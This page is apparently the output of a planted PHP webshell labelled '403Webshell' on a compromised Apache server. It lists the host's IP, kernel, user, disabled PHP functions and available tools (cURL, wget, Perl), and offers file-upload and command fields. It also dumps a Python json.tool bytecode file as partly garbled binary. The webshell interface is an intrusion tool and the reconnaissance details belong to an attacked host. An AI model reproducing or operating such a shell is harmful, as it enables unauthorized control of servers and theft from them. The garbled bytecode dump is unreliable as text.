403Webshell
Server IP : 185.125.27.153  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux d6e05399ed1f11695f7c56648ed78c66 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64
User : uid174255 ( 174255)
PHP Version : 8.3.31
Disable Function : exec,passthru,pcntl_exec,popen,proc_open,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.9/json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/json/__pycache__/tool.cpython-39.pyc
a

�:jn�
@sldZddlZddlZddlZdd�Zedkrhz
e�Wn0eyfZze�ej	�WYdZ[n
dZ[00dS)aCommand-line tool to validate and pretty-print JSON

Usage::

    $ echo '{"json":"obj"}' | python -m json.tool
    {
        "json": "obj"
    }
    $ echo '{ 1.2:3.4}' | python -m json.tool
    Expecting property name enclosed in double quotes: line 1 column 3 (char 2)

�NcCs�d}d}tj||d�}|jddtjdd�dtjd	�|jd
dtjddd�dtjd	�|jd
dddd�|jddddd�|jddddd�|��}|jddtdd�|jdddd d!d"�|jd#dddd$d"�|jd%dd&d'�|�	�}|j
|j|jd(�}|j
�rd|d<d)|d*<|j��}|j��}zR|j�r8d+d,�|D�}nt�|�f}|D]$}	tj|	|fi|��|�d-��qHWn.t�y�}
zt|
��WYd}
~
n
d}
~
00Wd�n1�s�0YWd�n1�s�0YdS).Nzpython -m json.toolzZA simple command line interface for json module to validate and pretty-print JSON objects.)�prog�description�infile�?zutf-8)�encodingz-a JSON file to be validated or pretty-printed)�nargs�type�help�default�outfile�wz%write the output of infile to outfilez--sort-keys�
store_trueFz5sort the output of dictionaries alphabetically by key)�actionr
r	z--no-ensure-ascii�ensure_asciiZstore_falsez(disable escaping of non-ASCII characters)�destrr	z--json-linesznparse input using the JSON Lines format. Use with --no-indent or --compact to produce valid JSON Lines output.z--indent�zJseparate items with newlines and use this number of spaces for indentation)r
rr	z--tabZstore_const�indent�	z9separate items with newlines and use tabs for indentation)rrZconstr	z--no-indentz/separate items with spaces rather than newlinesz	--compactz1suppress all whitespace separation (most compact))rr	)�	sort_keysrr)�,�:Z
separatorscss|]}t�|�VqdS)N)�json�loads)�.0�line�r�/usr/lib/python3.9/json/tool.py�	<genexpr>@�zmain.<locals>.<genexpr>�
)�argparse�ArgumentParser�add_argumentZFileType�sys�stdin�stdoutZadd_mutually_exclusive_group�int�
parse_argsrrrZcompactrrZ
json_linesr�load�dump�write�
ValueError�
SystemExit)rr�parser�groupZoptionsZ	dump_argsrrZobjs�obj�errr�mainsl
��
�
�
�
�
�
���r1�__main__)
�__doc__r rr#r1�__name__�BrokenPipeError�exc�exit�errnorrrr�<module>s8


Youez - 2016 - github.com/yon3zu
LinuXploit